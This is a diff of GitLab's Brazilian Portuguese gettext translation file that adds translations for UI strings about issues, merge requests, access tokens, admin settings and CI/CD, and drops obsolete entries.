-msgstr[1] ""
+msgstr[0] "%d tarefa importada com sucesso com a etiqueta"
+msgstr[1] "%d tarefas importadas com sucesso com a etiqueta"
msgid "%d layer"
msgid_plural "%d layers"
@@ -284,8 +279,8 @@ msgstr[1] "%d merge requests"
msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d merge request que você não possui acesso."
+msgstr[1] "%d merge requests que você não tem acesso."
msgid "%d metric"
msgid_plural "%d metrics"
@@ -294,8 +289,8 @@ msgstr[1] "%d métricas"
msgid "%d milestone"
msgid_plural "%d milestones"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d milestone"
+msgstr[1] "%d milestones"
msgid "%d minute"
msgid_plural "%d minutes"
@@ -309,8 +304,8 @@ msgstr[1] "mais %d comentários"
msgid "%d open issue"
msgid_plural "%d open issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d issue aberto"
+msgstr[1] "%d issues abertos"
msgid "%d pending comment"
msgid_plural "%d pending comments"
@@ -319,23 +314,23 @@ msgstr[1] "%d comentários pendentes"
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projeto pessoal será removido e não poderá ser restaurado."
+msgstr[1] "%d projetos pessoal serão removidos e não poderão ser restaurados."
msgid "%d previously merged commit"
msgid_plural "%d previously merged commits"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commit de merge realizado anteriormente"
+msgstr[1] "%d commits de merge realizados anteriormente"
msgid "%d project"
msgid_plural "%d projects"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projeto"
+msgstr[1] "%d projetos"
msgid "%d project selected"
msgid_plural "%d projects selected"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d projeto selecionado"
+msgstr[1] "%d projetos selecionados"
msgid "%d request with warnings"
msgid_plural "%d requests with warnings"
@@ -349,48 +344,48 @@ msgstr[1] "%d segundos"
msgid "%d shard selected"
msgid_plural "%d shards selected"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d shard selecionado"
+msgstr[1] "%d shards selecionados"
msgid "%d tag"
msgid_plural "%d tags"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d marcador"
+msgstr[1] "%d marcadores"
msgid "%d tag per image name"
msgid_plural "%d tags per image name"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tag por nome de imagem"
+msgstr[1] "%d tags por nome de imagem"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tarefa não atribuído"
+msgstr[1] "%d tarefas não atribuídos"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tópico não resolvido"
+msgstr[1] "%d tópicos não resolvidos"
msgid "%d vulnerability"
msgid_plural "%d vulnerabilities"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnerabilidade"
+msgstr[1] "%d vulnerabilidades"
msgid "%d vulnerability dismissed"
msgid_plural "%d vulnerabilities dismissed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnerabilidade dispensada"
+msgstr[1] "%d vulnerabilidades dispensadas"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d vulnerabilidade atualizada"
+msgstr[1] "%d vulnerabilidades atualizadas"
msgid "%d warning found:"
msgid_plural "%d warnings found:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d advertência encontrada:"
+msgstr[1] "%d advertências encontradas:"
msgid "%s additional commit has been omitted to prevent performance issues."
msgid_plural "%s additional commits have been omitted to prevent performance issues."
@@ -401,37 +396,55 @@ msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
-msgstr ""
+msgstr "%{address} é uma faixa de IP inválida"
msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
-msgstr ""
+msgstr "%{anchorOpen}Saiba mais%{anchorClose} sobre como você pode personalizar / desabilitar o registro em sua instância."
msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
-msgstr ""
+msgstr "%{author_link} clonou %{original_issue} para %{new_issue}."
msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
-msgstr ""
+msgstr "%{author_link} clonou %{original_issue}. Você não tem acesso ao novo projeto."
msgid "%{author_link} wrote:"
-msgstr ""
+msgstr "%{author_link} escreveu:"
msgid "%{authorsName}'s thread"
msgstr "Tópico de %{authorsName}"
msgid "%{board_target} not found"
+msgstr "%{board_target} não encontrado"
+
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
msgstr ""
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
-msgstr ""
+msgstr "%{code_open}Mascarado:%{code_close} Escondidos nos logs de tarefas. Deve corresponder a requisitos de mascaramento."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}Protegido:%{code_close} Somente exposto a branches ou tags protegidos."
msgid "%{commit_author_link} authored %{commit_timeago}"
msgstr "%{commit_author_link} fez commit %{commit_timeago}"
msgid "%{completedCount} completed weight"
-msgstr ""
+msgstr "%{completedCount} peso concluído"
msgid "%{completedCount} of %{count} task completed"
msgid_plural "%{completedCount} of %{count} tasks completed"
@@ -439,7 +452,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "%{completedWeight} of %{totalWeight} weight completed"
-msgstr ""
+msgstr "%{completedWeight} de %{totalWeight} peso concluído"
msgid "%{containerScanningLinkStart}Container Scanning%{containerScanningLinkEnd} and/or %{dependencyScanningLinkStart}Dependency Scanning%{dependencyScanningLinkEnd} must be enabled. %{securityBotLinkStart}GitLab-Security-Bot%{securityBotLinkEnd} will be the author of the auto-created merge request. %{moreInfoLinkStart}More information%{moreInfoLinkEnd}."
msgstr ""
@@ -448,7 +461,7 @@ msgid "%{cores} cores"
msgstr "%{cores} núcleos"
msgid "%{count} %{scope} for term '%{term}'"
-msgstr ""
+msgstr "%{count} %{scope} para o termo '%{term}'"
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/commit"
@@ -464,8 +477,13 @@ msgstr "%{count} aprovações de %{name}"
msgid "%{count} files touched"
msgstr "%{count} arquivos modificados"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
-msgstr ""
+msgstr "%{count} itens por página"
msgid "%{count} more"
msgstr "mais %{count}"
@@ -490,34 +508,34 @@ msgstr[0] "%{count} participante"
msgstr[1] "%{count} participantes"
msgid "%{count} related %{pluralized_subject}: %{links}"
-msgstr ""
+msgstr "%{count} %{pluralized_subject} relacionados: %{links}"
msgid "%{count} total weight"
-msgstr ""
+msgstr "%{count} peso total"
msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
-msgstr ""
+msgstr "%{criticalStart}%{critical} Crítico%{criticalEnd} %{highStart}%{high} Alto%{highEnd} e %{otherStart}%{otherMessage}%{otherEnd}"
msgid "%{dashboard_path} could not be found."
-msgstr ""
+msgstr "%{dashboard_path} não foi encontrado."
msgid "%{days} days until tags are automatically removed"
-msgstr ""
+msgstr "%{days} dias até as tags serem removidas automaticamente"
msgid "%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}."
-msgstr ""
+msgstr "%{deployLinkStart}Use um modelo para fazer deploy em ECS%{deployLinkEnd} ou use uma imagem docker para %{commandsLinkStart}executar comandos de AWS no CI/CD GitLab%{commandsLinkEnd}."
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
msgid "%{doc_link_start}Advanced search%{doc_link_end} is disabled since %{ref_elem} is not the default branch; %{default_branch_link_start}search on %{default_branch} instead%{default_branch_link_end}."
-msgstr ""
+msgstr "%{doc_link_start}A pesquisa avançada%{doc_link_end} está desativada porque %{ref_elem} não é o branch padrão; %{default_branch_link_start}pesquise em %{default_branch} em vez de%{default_branch_link_end}."
msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
-msgstr ""
+msgstr "%{doc_link_start}A pesquisa avançada%{doc_link_end} está ativada."
msgid "%{due_date} (Past due)"
-msgstr ""
+msgstr "%{due_date} (vencido)"
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -538,7 +556,7 @@ msgid "%{emailPrefix}@company.com"
msgstr ""
msgid "%{extra} more downstream pipelines"
-msgstr ""
+msgstr "%{extra} mais downstream pipelines"
msgid "%{filePath} deleted"
msgstr "%{filePath} excluído"
@@ -547,19 +565,19 @@ msgid "%{firstLabel} +%{labelCount} more"
msgstr "%{firstLabel} +%{labelCount} mais"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
-msgstr ""
+msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} mais"
msgid "%{gitlab_experience_text}. Don't worry, this information isn't shared outside of your self-managed GitLab instance."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Não se preocupe, essa informação não é compartilhada fora de sua instância do GitLab auto-gerenciada."
msgid "%{gitlab_experience_text}. We won't share this information with anyone."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Não compartilharemos essas informações com ninguém."
msgid "%{global_id} is not a valid ID for %{expected_types}."
-msgstr ""
+msgstr "%{global_id} não é um ID válido para %{expected_types}."
msgid "%{group_name} activity"
-msgstr ""
+msgstr "atividade de %{group_name}"
msgid "%{group_name} group members"
msgstr ""
@@ -568,16 +586,16 @@ msgid "%{group_name} uses group managed accounts. You need to create a new GitLa
msgstr "%{group_name} usa contas gerenciadas por grupo. Você precisa criar uma nova conta do GitLab que será gerenciada por %{group_name}."
msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
-msgstr ""
+msgstr "%{group_name}&%{epic_iid} &middot; criado %{epic_created} por %{author}"
msgid "%{hook_type} was deleted"
-msgstr ""
+msgstr "%{hook_type} foi excluído"
msgid "%{hook_type} was scheduled for deletion"
-msgstr ""
+msgstr "%{hook_type} foi agendado para exclusão"
msgid "%{host} sign-in from new location"
-msgstr ""
+msgstr "%{host} fez login a partir de um novo local"
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
@@ -586,40 +604,40 @@ msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} será removido! Você tem certeza?"
msgid "%{issueType} actions"
-msgstr ""
+msgstr "%{issueType} ações"
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesSize} com um limite de %{maxIssueCount}"
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{itemsCount} issues com um limite de %{maxIssueCount}"
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Resposta atual:%{labelEnd} %{headers}"
msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
msgstr ""
msgid "%{labelStart}Class:%{labelEnd} %{class}"
-msgstr ""
+msgstr "%{labelStart}Classe:%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}Endereço da falha:%{labelEnd} %{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
-msgstr ""
+msgstr "%{labelStart}Estado da falha:%{labelEnd} %{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
-msgstr ""
+msgstr "%{labelStart}Evidência:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Arquivo:%{labelEnd} %{file}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
-msgstr ""
+msgstr "%{labelStart}Imagem:%{labelEnd} %{image}"
msgid "%{labelStart}Method:%{labelEnd} %{method}"
msgstr ""
@@ -654,11 +672,11 @@ msgstr "%{level_name} não é permitido em um grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido, pois o projeto de origem do fork possui menor visibilidade."
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Saiba mais%{link_end} sobre permissões"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} épicos"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Saiba mais%{usage_ping_link_end} sobre quais informações são compartilhadas com o GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (não pode fazer o merge)"
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Um token seguro que identifica uma requisição de armazenamento externo."
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,14 +1762,14 @@ msgstr "Token de e-mail recebido"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Ele não pode ser usado para acessar outros dados."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantenha este token em segurança. Qualquer um que conseguir isso pode criar issues como se fosse você. Você deveria %{link_reset_it} se isso acontecer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantenha este token em segurança. Qualquer um que conseguir isso pode ler feeds de RSS de atividades e issues, e seu feed de calendário como como se fosse você. Você deveria %{link_reset_it} se isso acontecer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Token de acesso pessoal"
@@ -1783,17 +1786,17 @@ msgstr "Você também pode usar tokens de acesso pessoal para autenticar no Git
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Você pode gerar um token de acesso pessoal para cada aplicativo usado que precisa de acesso à API do GitLab."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "O seu token de feed é usado para autenticá-lo quando seu leitor de RSS carrega um feed RSS personalizado ou quando seu aplicativo de calendário carrega um calendário personalizado e é incluído nesses URLs de feed."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "Seu token de e-mail de entrada é usado para autenticá-lo quando você cria um novo issue por e-mail, e é incluído em seus endereços de e-mail pessoais específicos do projeto."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "redefini-lo"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Adicionar um comentário geral para este %{noteableDisplayName}."
@@ -1921,6 +1927,9 @@ msgstr "Adicionar um comentário geral para este %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Adicione uma homepage ao seu wiki que contenha informações sobre o seu projeto e o GitLab irá exibi-lo aqui ao invés desta mensagem."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Não há usuários especificados."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Ativar runners compartilhados para novos projetos"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Variáveis de ambiente são protegidas por padrão"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Nenhum pipeline necessário"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuração de pipeline necessária"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Selecione um arquivo de configuração de pipeline"
-
-msgid "AdminSettings|Select a template"
-msgstr "Selecione um modelo"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2383,8 +2398,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "Defina uma %{link_start}configuração de pipeline%{link_end} incluída automaticamente em toda a instância. Esta configuração de pipeline será executada após a configuração do próprio projeto."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Especifique um domínio a ser usado por padrão para os estágios de Auto Review Application e Auto Deploy de cada projeto."
@@ -2392,11 +2407,8 @@ msgstr "Especifique um domínio a ser usado por padrão para os estágios de Aut
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "A configuração de pipeline necessária pode ser selecionada a partir do diretório %{code_start}gitlab-ci%{code_end} dentro do %{link_start}repositório modelo de instância%{link_end} configurado ou das configurações fornecidas pelo GitLab."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Ao criar uma nova variável de ambiente, ela será protegida por padrão."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Todos os grupos e projetos"
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Erro ao modificar notificação de assinatura"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Ocorreu um erro ao atualizar o peso do issue"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Um erro ocorreu ao habilitar a Central de Serviços."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Erro ao recuperar projetos"
@@ -3762,9 +3792,6 @@ msgstr "Ocorreu um erro durante a atualização do comentário"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr "Aplicar sugestão"
@@ -4133,15 +4157,9 @@ msgstr "Nome"
msgid "ApprovalRule|Rule name"
msgstr "Nome da regra"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Pelo menos uma aprovação de um proprietário do código é necessária para alterar arquivos que coincidem com as respectivas regras CODEOWNER."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps ativo"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, runners e artefatos de tarefas"
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr "Navegar pelos artefatos"
msgid "Browse files"
msgstr "Navegar pelos arquivos"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Estratégia de deploy"
msgid "CICD|Jobs"
msgstr "Tarefas"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "O pipeline de Auto DevOps será executado se nenhum arquivo de configuração de IC alternativo for encontrado."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "grupo habilitado"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Retorno"
